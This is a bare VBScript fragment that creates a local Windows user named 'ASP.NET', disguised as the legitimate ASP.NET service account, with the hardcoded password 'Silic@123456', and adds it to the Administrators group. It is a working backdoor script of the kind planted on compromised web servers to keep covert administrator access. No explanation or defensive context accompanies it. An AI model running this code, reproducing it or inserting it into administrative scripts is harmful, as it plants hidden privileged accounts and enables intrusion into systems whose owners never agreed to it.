a="WinNT://"&createObject("WSCRIPT.NETWORK").ComputerName
Set x=GetObject(a)
Set y=GetObject(a&"/Administrators,group")
Set z=x.create("user","ASP.NET")
z.SetPassword "Silic@123456"
z.SetInfo
Set of=GetObject(a&"/" & "ASP.NET" & ",user")
y.Add(of.ADsPath)
For Each admin in y.Members
wscript.quit
Next